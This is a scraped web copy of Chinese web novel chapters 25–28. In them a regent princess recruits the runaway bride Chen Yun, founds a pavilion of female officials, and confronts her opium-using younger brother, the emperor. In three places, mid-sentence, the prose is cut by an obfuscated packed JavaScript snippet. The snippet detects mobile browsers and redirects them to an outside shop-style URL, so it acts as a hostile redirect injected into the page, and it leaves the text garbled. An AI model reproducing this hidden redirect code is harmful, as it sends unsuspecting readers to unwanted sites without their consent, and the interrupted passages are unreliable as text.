“装得倒是好,表面上为阿旻出头,实则他吸阿芙蓉也不管。被人发现,就说是她人微言轻,阻拦不得,可如今一看,她哪里人微言轻?她在阿旻心中的分量怕是比我这个姐姐还要重。” “先前已查明肖溪来历,迟早要动手,不如……” “先不要打草惊蛇,不到万不得已不要动人,否则再换一个人来,找起来也很麻烦。”我道,“继续盯着。” 秋夜的月亮来的早,庭院里紫藤已然凋落,金桂却犹如碎金般开始点缀在枝丫间,送来幽幽清香。 远处的宫殿烛火层层点燃,夜风飔飔,所有人都在远方,无人为伴,深宫寂寥。 公文批累了,我打着哈欠叫萱萱进来读,江东涝灾已近平缓,江南的沟渠已经修完大半……越听越迷糊。 不知何时小蛮进来了,萱萱听到消息连忙将我叫醒,凑近附耳道:“殿下,陈蕴娘子逃婚失踪。” 25. 第 25 章 你喜欢的人要娶另外一个女子,那你对那个女子会怀揣怎样的心情呢? 嫉妒?厌恶?怀恨在心? 父亲有很多姬妾和孩子,母亲虽为他的妻子,但我从未在她的眼睛里看见过他对其他女人有一丝一毫的憎恨。母亲说,那样实在是太无趣了。人这一生能看的风景很多,能做的事情也很多,为了一个男人一点小情小爱争风吃醋、你死我活实在不值得,何况那些女人和自己比又能幸运幸福到哪里去呢? 她不需要父亲的爱,她只需要皇后的位置和我们两个孩子。 母亲不爱父亲,丈夫也只是东家,所以她能做到无动于衷。 可我与裴仲琊并非如此。我曾以为,能在情窦初开的年纪遇见他的我是世界上最幸运的人。有多少人能在年少时就找到与自己完全契合的忠贞的恋人呢?母亲没有,韦莯也没有。我少女时光中唯二亲密的人都无法获得诗书中都歌颂的爱情,可我竟是如此幸运,让我遇见了。以致于我从未想过我们的分离。 陈蕴。一个陌生的女人闯入我们之间。我甚至没有见过她。 传言,她自小长在江东,心性自由,无拘无束,又博览群书,尤擅算数天文,跟随外祖父游历天下,去过比我更多的地方。 她应该是个很好很好的姑娘,好到让裴开项觉得她应当能够取代我在裴仲琊心中的位置。 可我从不觉得这件事会发生。 我是取代不了的。我知道。 但陈蕴也是不可辜负的。 裴仲琊以国事躲避婚事我能猜到,但陈蕴这种自焚式自救我却是未曾敢想。 陈蕴,一个遍游人间的女子,一个追求自由的女子,一个敢忤逆父母与裴开项的女子。 简直让我闻所未闻、见所未见。 嫉妒吗?怨恨吗?厌恶吗? 没有。 有的,只是好奇、艳羡与钦佩。 夜色渐浓 “人还没找到吗?” “没,除了我们,陈家也在秘密搜寻,他们还不敢让裴家知道。但是我看裴开岫已经察觉出了什么,叫人去陈府拜访。陈邦昌应对得体,没有显露出什么。” “裴开岫……”我咀嚼着这个人的名字,笑道,“看来裴府里头也不太安生啊。有人想趁着裴家主人离开长安的日子搞点动作——我们一定要比他们更早找到陈蕴。长安宵禁,她必定没能走出宣阳里,除了官驿传舍外,私人赁屋也要去找,再破烂一点的地方也要去找。陈蕴走南闯北,不是养在深闺大院里的娇小姐。她想跑,必定会想尽办法躲藏。” 彤管使去了一人又一人,每过去一炷香就回来一个人禀报。 没找到。没找到。还是没找到。 这个陈蕴好似人间蒸发了一般,两拨人愣是找了大半夜,将整个宣阳里翻了个底朝天,也没能将她找出来。 眼见着天将明,里门大开,届时要再找人就难上加难了。 一炷香又过去了,萱萱从外赶来,脚步小心,轻轻地走到我面前站定。 “怎么样了,还是没找到吗?”我问。可萱萱没有回答。 心中奇怪,我抬头一瞧,却见穿着萱萱衣裳的是个陌生年轻女子——眉目柔和,杏眼澄明,瞳仁如黑曜石一般润泽,直直地看着我。 她恭敬地道了万福:“臣女见过殿下。” 我上下打量她,不高,小巧秀挺,虽是长安人,却好似江东灵山秀水孕育出的一颗明珠,剔透晶莹,端秀清丽。 她的声音冷静却清脆:“臣女冒昧前来,还请殿下恕罪。” 我朝殿外看了一眼,萱萱正站在门口张望。 我指了右边的位置给她:“陈娘子是自己找的本宫吗?” “是。”她直言不讳。 我好奇极了,笑着问她:“理由呢?说来听听?” “我是来求殿下下旨解除婚约的。” “这婚约就是我下的旨,你就这么肯定,我会答应你的请求?”我质问,“还是你觉得我仍旧与裴仲琊纠缠不清,放不下他。你既然不属意于他,我心中庆幸,自然会做这个顺水人情?” “殿下不是这般心性狭隘之人,臣女也不是这样想的。”陈蕴眼中光芒坚定,“臣女只是觉得,殿下必定懂得我的心。” “你我素未谋面,你觉得我懂你的心?” “对。殿下一定懂得我这颗想要自由的心。因为这颗心和殿下的心是一样的。”陈蕴眼神澄澈真挚,没有试探、没有猜度,“自先帝太后驾崩,殿下所做之事都是为求己身自由,对吧?我冒着辱没陈家名声的风险夜半出逃、乔装进宫见您,就是为此!我不想像姑母一样永远被困在宅院里,困在丈夫和孩子之间,我想去很远很远的地方,还请……殿下成全。” 就像裴仲琊说的,她真的很不一样。也难怪裴陈两家会再度联姻,这样的心性与家世,长安城怕是都再难找出第二个。 “表哥与我无情无爱,就算成亲也是怨侣一对。他是男儿,外头天地广阔自有他的去处。可我一来这长安城,就仿佛是被束缚住翅膀的鸟儿,整日被关在牢笼里,吃着不爱吃的东西,听着不爱听的话。我再也受不了,我真的受不了了殿下!若是碍于裴伯父,您便给我一道畅通无阻的路引,我就……我就远走高飞,遍游天下,著书立说。我能养活我自己!” “遍游天下,著书立说……那你倒是跟我讲讲,你想写什么样的书?” 陈蕴瞳仁震了震,十分诧异:“您……想知道我写的东西?” 我点头:“你去过的地方比本宫多,见识的风土人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064533|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情也比本宫丰富,本宫想你写的东西应该会很有趣。” 陈蕴嗫嚅着嘴唇,湿润着眼睛看着我,半晌说不出话来。 “你聪慧机敏能干,有主见,我相信你独自一人在外也能将自己照顾的很好。但是我这里还有一条路,我交给你选择,你若愿意,便留下。” 我看着她:“做我身边的女官,写你想写的,做你想做的,过你想过的人生,如何?” “做……殿下的女官?” “自古以来,前朝后宫都是男人说了算。可如今改天换日,叫我做上这女主。男人又蠢又臭又吵,还是女人说得上话。我谋划着创立一套新女官制度,与后宫掖庭这些管妃嫔和杂事的区分开来,名为彤管阁,主前朝政务,领长公主参谋职,由你做内相,你可愿意?” 殿中寂静无声,天边泛出鱼肚白,太阳渐渐升起,金光突然像一层纱帐一般笼罩了整座大殿。 陈蕴望着我,难以置信:“内相?” “你可能觉得很诧异,我不了解你,你也不了解我,但是我却愿意把这么重要的位置交给你,对不对?”我笑道,“可我就是这样,只要是我认定的事情我就一定要做到,只要是我认定的人我就全然信任。你很对我的胃口,所以我想把你留在身边做事,有什么问题吗? “何况,就算我给你路引,你觉得你能逃得多远?被他们找到的几率又有多大呢?到时候被绑回来,还不是老路一条?只有待在我身边做事,找到你真正的位置和价值,获得属于你的权势,成为谁都无法取代的人,他们才能永远不能左右你,你才能获得你想要的自由,你说对吗?” 清晨的金光洒满了整个广明殿,鸟儿鸣叫着昭示着新的一天的开始。 未央宫开始苏醒。 陈蕴向窗外望去,一层层的宫阙摘去屋顶的阴影在她面前显露出它们真正的样子——巍峨庄严而神秘。 “我真的……能够胜任吗?” 我哂笑:“田诠那傻子都能当治粟内史。” 陈蕴像是从来没听过别人骂人,颇为讶异地看着我。 “想好了吗?想好了,就给我明确的答复。现在。” 陈蕴低着头,半晌缓缓抬起眼睛,直视着我:“愿为殿下效劳。” 果然是个聪明人。 “你想好了,跟随我,我能保你逃出婚姻,但是裴家那边就不好交代了。” “我不怕。”陈蕴斩钉截铁,“我只是……担心我父母。” 我摆摆手:“那不至于,裴开项与你父亲几十年的同窗之谊,不会因为一桩没成功的儿女亲事翻脸。你只需要担心你自己,你选择了这条路,会不会让自己后悔,会不会……让我失望。” “不会。”她看着我,“我不会后悔,也不会让您失望。” 26. 第 26 章 我给陈邦昌去了个口信,这个当爹的上朝时魂不守舍,时不时地就盯我一眼,朝堂辩事都来不及参与。下朝后匆匆跑来广明殿,三拜九叩地替陈蕴谢罪,说自己女儿自由散漫惯了,是他们没有管教好。孩子年纪还小,还请不要责罚,千错万错都是他们父母的错。 “陈大人真是好家风好家教,生出这么大胆的女儿,敢私自出逃,还敢自己找上门来。若非我叫彤管使出宫办点事,你们这女儿找不回来了可如何是好?” 陈邦昌跪在地上,连连告罪:“是微臣管教无方,都是微臣的错。还请长公主责罚!” “管教无方吗?”我笑道,“我倒是觉得陈大人这个女儿……教的挺好。” “微臣……微臣……”陈邦昌汗如雨下。 “说来陈大人可能不信,昨夜我与令爱彻夜畅聊,发现信芳与我颇为投机。我无有姊妹,难得遇见知己,想留她在宫中小住,您觉得如何?” “这……”陈邦昌为难,“小住……是几日?” “那自然是,她想住几日那就住几日,我想让她住几日就住几日。” 陈蕴被我安排在离广明殿旁边的朝露殿,陈邦昌离宫时,我让他们父女二人聚了一下。过不了多会儿,陈蕴前来拜见,我问:“怎么说?” “父亲让我随自己心意。若真是不想嫁人,就帮我去退婚。还叫我好好帮您。” 我垂眸:“你父亲对你很好。你要知道,你这样的心性与见识,全长安城也只有裴仲琊能够相称。他是真的在为你谋划。” 陈蕴颔首,有些愧疚:“我是不是……太任性了。” “他们不顾你们的想法给你们定亲才是最大的任性,你有什么好自责的?”我向她招招手,将笔递给她,“帮我草拟一份广纳贤士诏书,要女人,十五至五十岁,识文断字、博览群书,或善属文,或善兵事、水利、农桑、经营、算数等皆可,家中两代及以上为官。无论婚配,可由娘家夫家上荐,也可自荐。长安人士,报彤管使;长安外人,皆报县衙,由各郡县衙上呈京兆尹代为转交彤管使。荐书涵盖姓名、年龄、籍贯、族裔、家世、所擅长处、引荐信与个人画像,可附以往作品。” 陈蕴一一记下。 “今晚给我过目,明日下发。萱萱——” “奴婢在。” “叫掖庭令辟出三间宫殿九间宫室,离广明殿近些,充作公干。等日后人来了,就让她们在那里处理公务,想回家的便回家,不想回家便宿在宫中,一切由她们自己定夺。”我抻了抻袖子,“拿笔来。” 静女其娈,贻我彤管。彤管有炜,说怿女美。 彤管,一只红色的笔,千百年来,多少才情万丈的女子用它书写自己,又有多少女官用它在竹简中写下历史功过烟云,而今,我也要用它赋予我手下所有才女们权力与名望。 彤、管、阁。从今后,她们将不再属于四方宅院,而是在这里成为真正的自己,成为我最有力的臂膀。 前朝有三公九卿,我便将这彤管阁设为三首六令:陈蕴掌内朝诸事为首辅,萱萱掌广明亲卫为首安,薛获掌内朝女官为首司,余下分别有中府令小蛮掌彤管内账,文轩令掌彤管教化,种桑令掌耕种农桑,工理令掌机关建造,玉金令掌经营市商,天宿令掌天文祭祀,其下又可安排小官各五人。 所有人,皆为我所用,皆为我谋划,偌大后宫,尽在掌中。 虽说裴开项重领兵权乃我心头大患,但裴家离京,在这未央宫中独揽大权的滋味—— 真是销魂夺魄。 - 诏书下发,荐书纷至沓来。 “廷尉左监傅峭之女傅妁,年二十五,祖籍长安,太学生李勋之妻,育一子一女。擅属文,文风工整肃穆,端正方严,著有《大雀赋》《南梁赋》等文章,师从大儒孔孝连。” “大司农部丞冯科之女冯曦,年十七,祖籍右扶风,于家守寡戴孝。擅农桑,曾成功养育双宫茧,织就纱衣。” “鄮县县令王甫之女王铮意,年三十七,祖籍会稽,鄮县学经师詹赋之妻,育一子两女。擅天文数理,著《天灵宪》、《算章》等。” 我打断了萱萱,转头询问陈蕴:“王铮意此人你可认识?” “我外祖父与王县令是故交,在会稽时我也曾与王夫人有过几次交谈。” “你也喜欢天文数理,想来你们很是投缘。” “实在不敢僭越,《天灵宪》与《算章》是我幼年启蒙读物,王夫人来会稽也是应我外祖父之约给我来授课的,虽只有几次,但却是真的让我受益匪浅。” “如今百姓崇尚巫蛊长生,阴阳术士广占风头,人们更愿意相信这个世界是由鬼神运作而非天然形成。王夫人在《天灵宪》中提出,日月星辰运行有时有道,而非鬼神之力作为,刚问世时备受术士抨击、百姓唾弃,称其渎神。可你却能够毫不避讳地表达自己对她的崇敬,属实难得。” “殿下不也是吗?”陈蕴如实说道,“殿下侃侃而谈,想必也看过王夫人的书。” “鬼神能震慑人心,便于统管百姓,但若太在乎鬼神之事,就容易叫有心之人利用。百姓淳朴,相信在所难免,但若连我也深信不疑,那又如何治理这个国家?” 萱萱将名册读完,上呈于我:“各地上报共两百四十一人,筛选出五十人,请殿下过目。” 女子没有为官入仕的渠道,放眼望去,朝堂之上皆是男儿,仿佛女子注定不如他们。多少女子被淹没在深宅大院、生儿育女之中,可在这名册上,她们又是这样的才华横溢、熠熠生光。 “大长秋可从暴室接出来了?” “已安排在彤管阁住下。” 我将名册递给陈蕴:“这名册你们三人拿去看,选出你们心仪的三十六人我再过目。日后共事,你们要相扶相持、坦诚相待、协作共进,成为我的左膀右臂。只要有我在一日,你们便可做自己想做的事一日。我们共进退。” 陈蕴双手接过,在我面前跪下肃拜:“信芳定不负殿下所托。” “萱萱定不负殿下所托!” 我心中满是宽慰,将小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064534|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛮从外殿招呼进来:“萱萱、小蛮,你们都是我母亲从楚国收养来的孤儿,一直以来也没有名字。从今天起,萱萱就叫楚凌,小蛮便叫楚宛,你们都是有名有姓,顶天立地的女子,在我这儿没有人能够束缚你们,你们也不能妄自菲薄,此后彤管阁就是你们所有人施展抱负的天地,你们会成就一番事业,名留青史。” 从没有人对她们说过这样的话,除了裴仲琊,也从来没有人对我说过这样的话。好似我们女人天生就不能有野心,天生就不应该肆意地游走在这人间。就像那些被选中的女子,她们不敢相信,甚至在入选后望而却步,有的说只是抱着侥幸心理姑且一试,未曾想过会中,但家中孩子尚小,实应该以孩子为重;有的说自己未曾自荐,而是家中亲朋擅自投名,自己还待字闺中,如此张扬跳脱,恐难觅得佳婿。 最后挑挑拣拣,本还有五十人待选,最后只剩下二十四人愿意留在宫中。 我不强留,赏赐了些金银珠宝便将她们放回家中。他们从广明殿的大门出去,走下高阶,身影渐渐缩小,直至走出宫门不见。 二十四人,足矣。 广明殿从未如此热闹过,殿下的女人们年龄或老或幼、身份或高或低,但他们眼中的充满期望与抱负的光芒是一样的。 我清楚地看见。 傅妁、冯曦、王铮意赫然在列。 “王夫人。”我起身走到她身边,朝她行礼。 王铮意有些无措,连忙回了大礼:“殿下!” “王夫人能够不远千里来此,本宫甚是感激。不知家中可有什么交代?” “家中并无交代。” “您夫君……?” 王铮意笑了:“家中素来都是我拿主意,他说话没用。” 这倒是令人惊奇,可转念一想,王铮意能顶着全国的压力写下《天灵宪》本就是一件不凡之事。那她也必定是个不凡之人。 “日后诸事,还请王夫人多多操劳指教。” “殿下言重了。”王铮意郑重地看着我,“是殿下给了我们一个施展抱负,与男子比肩的机会,我们感激不尽!为殿下鞠躬尽瘁,我们义不容辞!” “只有殿下您知道我们真正想要的是什么,也只有您能给我们我们想要的一切!” “是啊殿下,我从来没想过自己能有一天来到这未央宫,也想不到会有一日做您的臣子。还请殿下放心,我们一定竭尽所能,为您,也为大齐分忧解难!” “报君黄金台上意,提携玉龙为君死!日后殿下只要有用的到我们的地方,我们必定赴汤蹈火,在所不惜!” 广明殿,自我九岁开始我便住在这里,从未想过有朝一日,我能够在这里汇聚整个大齐最有才华最有抱负的女子——她们有着不输任何人的野心与意志,她们未来走的路也比任何人都要远。 “好!”我看着她们,珠翠满头却也掩盖不了她们身上的灼灼光彩,“只要你们有能力、有志向,忠诚、正直,臣不负君,君不负臣,我们君臣一心,必能够将大齐带向更大的辉煌!” 27. 第 27 章 彤管阁成立的事情并没有在朝堂上引起多大的风浪——家中女眷能够得到长公主的赏识,入仕广明殿,成为我的幕下之臣,是多少人都求之不得的事情。他们将女眷们视作家族的荣耀,更将我视作他们家族侍奉的唯一君主。 偶有大臣旁敲侧击说着皇上是否应允的话,我拿出盖了玉玺的圣旨让他们闭了嘴后,便再没有什么反对的声音。 宫中尚且太平,但远方却战火燎原。 战报一封封送到我的桌上—— 鏖战月余,巨鹿强攻不下,却也快到了弹尽粮绝的地步。巨鹿郡守连发八道求援信,可裴琳琅却迟迟不肯发兵,仍旧驻扎在百里以外的裕康县。巨鹿将最后一道求援信直接送到了我面前,其上字字泣血,已做好了殉国的准备。姜融姜琰像是已经知道了巨鹿气数已尽,兵分三路朝着长安进发,大有与裴林琅正面对抗的意图。 北境阿勒奴显然是与五王里应外合,骑兵南下却又不愿与裴开项多做争斗,不是绕行就是逃跑,抢杀百姓后逃进领土,四散消失在边境。边境被骚扰的百姓死伤无数,家毁田坏,恰是丰收之时,粮食被抢劫一空,只能抱着空荡荡的粟筐哭天抢地。裴开项开仓济民,搭建临时营帐安置百姓,又驻扎重军,日夜巡逻,这才稍稍稳定民心。 可阿勒奴的人一去不再返,好似从未来过般销声匿迹。裴开项不甘心坐以待毙,派出去三支队伍,等了五天却毫无音讯。最后在陌生的戈壁峡谷中发现了四十多具尸体。 早朝气氛沉重。无人敢提战事,又不得不提战事。 我坐在珠帘之后,沉默地望着底下的人。 裴林琅不战,是背叛、是害怕还是战术?将在外,我根本管不到。 姜融姜琰来势汹汹,眼见着朝长安步步紧逼。若当真……那长安城二十五万百姓该如何?满朝大臣该如何?那些刚被我安排进彤管阁的女子们该如何?我,又该如何? 刘勉和裴仲琊很久没有消息了。广陵王与淄川王仍旧与姜融姜琰在一起,他们带领着大军紧随其后,为其增援,我找不到一点儿挑拨划席的影子。 太煎熬了。 长安与未央仍旧太平,朝臣们每日上朝,百姓们晨钟暮鼓,做着自己本应该做的事。我看着每日日升月落,走上龙椅又走下龙椅,听着毫无进展地战报,哪儿也不能去,什么也做不了。 难眠的五日,我头疼难忍,昏倒在几案的公文上。醒来时已在榻上,陈蕴和薛获正在外殿帮我看奏疏。萱萱寸步不离地守在我身边,看见我醒了,赶紧去叫太医。 她们埋怨我事事亲力亲为,当时招募笼络她们时说得好听,说什么要君臣一心,同心协力,如今她们已是彤管阁的一员,而我却仍旧不愿意找她们帮忙,让她们分忧。 薛获看着我长大,数落得最多。 我接过她递给我的人参汤,没有反驳,点头笑自己不会照顾自己。 薛获看着我,伸手想摸我的头,却又觉得不合适,还是将手放在了我的手上。她满脸欣慰:“说句僭越的话,微臣是看着殿下长大的,对殿下的关爱与心疼不比太后娘娘少。如今娘娘已不在人世,微臣若是没有替娘娘照顾好您,等微臣百年之后到了地底下,也无颜面对娘娘了。” 深宫冷寂,薛获的话像炭火像姜汤,热到心坎儿里,将心融化成水变成眼泪。 彤管阁运作的顺利超乎我的想象,修养三日,公务皆由陈蕴和薛获先行过目,与六令协商过后再奏请我的意见。由我点头,最后交由百官处理。 她们每每来到我的寝殿,广明殿就仿佛多点了一盏灯,多烧了一烛香,变得更加亮堂馨香。除却政务外,一些仍旧住在宫外的彤管内官怕我卧病无聊,还会带上自己府里的小点心和话本子给我解闷。 我忽然明白神话故事中的王母娘娘为何只允许青鸾仙女上昆仑山——她们是最干净灵秀的,靠近她们一分就越发开心一分。 头风好些时,我叫陈蕴和薛获下去休息,晚上再来。偏生这个空档,让田议钻了进来——自裴开项离京,田诠撤职,他们田家在朝中韬光养晦,只田议时常以驸马的身份来广明殿试探口风。 一口一个殿下,旁敲侧击,就是想知道什么时候自己能够顶替兄长成为新的治粟内史。 什么时候?什么时候? 他不问战事什么时候结束,不问北境百姓什么时候能重返安宁的生活,他问自己什么时候能当上大官。 刚好的头风似乎又开始发作了。 “滚。”我瞪着他,“如果你现在能去前线杀死一百个敌人,我就直接封你做治粟内史。如若不能,现在就给我滚。” 田议面上谄媚的表情一瞬间冷了下来,死死地盯着我。 “你不是一直跟裴仲琊争吗?你看看你现在的样子,拿什么跟他争?他能为了国家为了我拖着病躯远赴前线,你呢?你只会像一条狗一样在别人身边摇尾乞怜,等着别人手指缝里稍微漏下点什么东西你好去地上舔。田议,求人是求不来东西的,你先想想自己的能力配不配得上。” 他的面上显然挂不住,嘴巴却还是很硬:“裴相临走前,没有交代过殿下吗?这似乎……不是我一人的意思。” “裴开项不过是想要另一只手帮他把控着钱袋子罢了,只要是听话的人就可以。你以为他为什么要用你们田家?因为你们不仅听话,还蠢。”我不惜用最难听的话骂他,“你说裴相愿意让你当治粟内史,真是好笑。裴家三人在前线御敌,而你对他们却不闻不问,只在乎自己的官位,我问你,如果我把这件事捅到裴开项那儿,你觉得治粟内史的位置还会是你的吗? “别太把自己当回事儿了,田议。” 田议的人越涨越红,最终忍无可忍,大声喊道:“姜毓卿——” “放肆!”怒吼声回荡在广明殿中,下一瞬,萱萱带着彤管使纷纷闯入殿中,长剑寒芒,将田议团团围住。 我站在广明殿上俯视着他:“你是以什么身份,敢直呼我的名姓?” 田议环顾四周,脸色一阵青一阵白:“殿下……夫妻一场,舞刀弄枪未免太过难看了吧?” “夫妻?”我笑了,“我跟你算哪门子夫妻?朝臣面前装装样子也就算了,你还真当自己有这个资格?——你那个藏在后院的胡姬有身孕了吧?” 田议脸色瞬变,缓缓抬起眼眸看着我:“殿下何意?” “我们本就是表面夫妻,你房中那些莺莺燕燕我素来都是睁一只闭一只眼的。只要你安分,以后的日子仍旧照常过,你若是不安分,那……我朝长公主素来彪悍,这是传统也是惯例,你且等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101642|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着。” 我与田议再次不欢而散,这让我的心情愈加烦躁,更是整日伏在案上看着无所进展的战报公文。 夜晚的长安城飘下今年第一场雪,北风呼啸在未央宫的每处巷道中,雪花像石子一样打在窗上,劈啪作响。广明殿烧起了炭火,热气融融,烧得我头昏脑涨,胸闷气短。我打开窗,冰冷的风刮在脸上,疼痛又清醒。 已经是冬天了啊。在远方的人儿还不知何时才能回来。 冷风灌进喉腔,我剧烈地咳嗽起来,浑身上下忽然冷得像被针扎一般。萱萱赶紧上前将我扶住,一摸我的手,惊呼:“殿下,您的手好冷。” “我……我去睡会儿……”我指了指几案上的奏疏,“搬去彤馆阁,让陈蕴……” 双膝一软,我直直地向地上扑去。萱萱眼疾手快一把将我捞住,抱起我放到床上:“小蛮!叫太医!” 我的病更重了,太医说是忧虑思多,气机郁结不舒导致,劝我多多歇息,远离案牍。 病来如山倒,我头疼欲裂,浑身酸痛,好似被一整块巨石砸中,本还能下地走动,突然间就变得乏力酸软,举步维艰。 太医开了药方,又嘱咐了一番便走了。 陈蕴和薛获闻讯赶来,我艰难地从床上爬起,努力装作无事的样子。谁知薛获一个上前就将我按了下去,又掖了掖被角:“殿下真是太不会照顾自己了。” 我最怕薛获这样,连忙道:“我真的没事……”声音哑得不成样子,我不敢讲话了。 “都是那个田议,殿下病体未愈,他还来存心气你,就是故意的!这样的丈夫还不如没有,怎么跟裴……”薛获立即收了声,不敢看我和陈蕴,“总之,殿下不要再劳烦身心了,前朝后宫都有我们帮您。” “我知道,我自然也相信你们的能力。”我拉着薛获的手。 “那殿下就好好休息。”薛获握着我的手,“微臣知道殿下在担心什么,还请殿下相信自己,相信我大齐的将帅和士兵,相信我们一定会胜利凯旋。” 所有人都能看出我在担心什么,但是我与军队相隔千里,能做的都做了,除了千里忧心、徒寻烦恼,我还能做什么呢? 我无可奈何地点了点头,似是真情似是假意:“嗯,我相信。” “所以殿下,好好休息吧,好吗?”薛获用一种几乎哀求的语气同我说这话。 我不忍心听。 “好。”我答应了她。 我想安歇,可宫中之事又何尝能让我停歇? 此前阿芙蓉被我尽数销毁,可姜旻不知又从哪儿弄来了,整日将自己关在麟趾殿吞云吐雾,浑浑噩噩。我叫薛获拿了打龙鞭去管教,却不见她的身影回来。 我不知在榻上睡了多久,殿外吵吵嚷嚷,细听是萱萱的声音:“殿下如今还在生病,薛大人又成了这个样子,我……” “还是先不要告诉我殿下……” “小蛮!萱萱!”我拼命从喉咙里挤出声音,“小蛮……” “殿下?殿下!”二人从殿外跑来,面色难为。 “薛首监怎么了?”她们神色躲闪,一看就是想要骗人。我斥道:“别想骗我!” 小蛮欲言又止,看了看萱萱。萱萱跪下来,愧疚万分:“殿下……薛大人被陛下打了!” 28. 第 28 章 个无法无天的小子,母亲在时,薛获是母亲的左膀右臂,又是我们学业与生活上的教养嬷嬷,即便贵为公主王孙,我们多少都要敬重她几分。如今母亲去世,姜旻竟敢这样对她! 麟趾殿大门紧闭,里头时不时传出少女少男的欢声笑语,迷醉又缠绵,不堪入耳。整间园子都弥漫着一股令人晕眩的香气,直往鼻子里钻。胃中翻江倒海,酸液冲上喉咙,我赶紧扶住假石干呕起来。 “萱萱,带人冲进去,把里面的人全部给我拖出来杖毙!” “是!”楚凌一声令下,守卫们一脚踢开殿门——姜旻衣襟半敞,露出雪白的胸脯。他斜斜地倚靠在罗汉榻上,面颊通红,眼神迷离,嘴巴似张似合,口中不知呓语着什么。肖溪跪在他身边双手举着托盘,上面放着黑色阿芙蓉和一支象牙螺钿烟管。 殿中炭火旺盛,阿芙蓉浓郁的香气氤氲在热气中扑面而来,像一团棉花将人紧紧包裹住。众人纷纷捂住口鼻。宫女宦官薄纱轻掩身体,一个个横陈在地上、榻上、几案上,交叠相错,全然不知羞耻。 楚凌见状,眉头瞬间皱了起来,连忙错开脸不去看。 姜旻这时好似才发现我们。他半支起身子,眼眶又红又暗,眼尾微微勾起,朝我一笑:“卿主殿下大驾光临,朕有失远迎啊……” 我根本动都不想动,朝着楚凌抬抬下巴:“把他们都给我拖出去。包括她……” 姜旻神色一凛,连忙将肖溪护在身后:“谁敢!” “你很喜欢她吗?还是很心疼她?”我嘲讽,“你喜欢她还让她天天呆在这里?让她天天跪在你身边?姜旻你演给谁看?你只不过喜欢在她身上找回权力的快感,找回人人都听你的那种感觉。就是这种想法助长了你无知的嚣张,才会让你做出殴打宫廷女官的蠢事!” “宫廷女官?母亲都死了,她薛获算哪门子的宫廷女官?你封的彤管阁首司?彤管阁又是什么东西姜毓卿?你的小朝廷?全是女人的小朝廷?你才是做梦的那个人吧?你以为裴开项不在了,你猴子称大王了,你可以为所欲为了?”姜旻笑得癫狂,“你等着他回来把你弄死吧,姜毓卿。” “你知道你现在像什么吗?”我踩着轻巧的步伐向他走近。 他瘦弱、脆弱、不堪一击,不管是身体还是心里,只要我轻轻一句话,就能将姜旻击溃。 “像一只可怜又可爱的小狗,对着人在狺狺狂吠。”我对着身后的守卫招招我,“陛下都这个样子了,你们还不把这些脏虫子清理干净?” “你们……你们谁敢!” 守卫们充耳不闻,将侍女宦官一个个拽着拖出宫殿。他们尖叫着,嘶吼着:“我不走!我不走!我还要吃……我还要……陛下,陛下,您说过要封臣妾为皇后的,臣妾要做您的皇后啊陛下,臣妾还要吃哈哈哈哈……” 诡异凄惨的笑声叫声在他们离开后仍旧回荡在麟趾殿内。肖溪赶忙放下托盘,膝行到我面前,连连磕头:“请殿下恕罪!请殿下恕罪!陛下只是年纪小,一时贪玩儿,以后就不会这样了,以后真的不会了!” “朕用得着你替朕求情!滚!”姜旻抬脚就要踹,被我一棍子打了回去。 “你……咳咳咳……”喉咙燥热疼痛难忍,我瞪着姜旻,半句骂人的话都讲不出来。 姜旻看我这样,笑着指着我:“你看看你,遭报应了吧。” “姜旻你……咳咳咳……”整个肺部犹如火烧一般,我咳得直不起身,不知是心痛还是胸痛,肋骨与血肉牵扯着,一呼一吸仿佛是凌迟。 “早点病死算了姜毓卿。” 早点病死算了。 这是姜旻,我亲弟弟对我说出来的话。我扶着萱萱的胳膊,艰难起身,想骂他却觉得荒唐得可笑:“你咒我死?你咒我死阿旻?” 姜旻没有笑容,一双眼睛空洞地望着我:“难道你没有过吗?比起把我关在这里,你更希望我早点死了吧?曾经我读《春秋》,根本不相信兄弟父子会为了皇位不顾人伦亲情自相残杀,但如今看来是我错了,别说兄弟了,就算是姊妹也有乱丧天伦的野心!” 心脏蓦然抽痛,肠胃开始抽搐,一阵一阵地绞紧,浑身发冷。 我累了。因为这些事情,我跟他从年头吵到年尾。 不想再跟蠢人说话,我大喊了一声萱萱:“把肖溪和这些阿芙蓉带走,叫太医来看看皇上,脑子都坏了!” “我说了,把她留下。”姜旻坐在几案旁纹丝不动,盖在阴影里,眼睛闪着诡异阴鸷的微光,“肖溪,留下。” 他的声音好似是魔咒,肖溪默默地抽出萱萱抓着她的手,朝着我磕了三个头:“殿下,还请允许奴婢留下照顾……照顾陛下……” 我被气笑:“你当真要留下?” 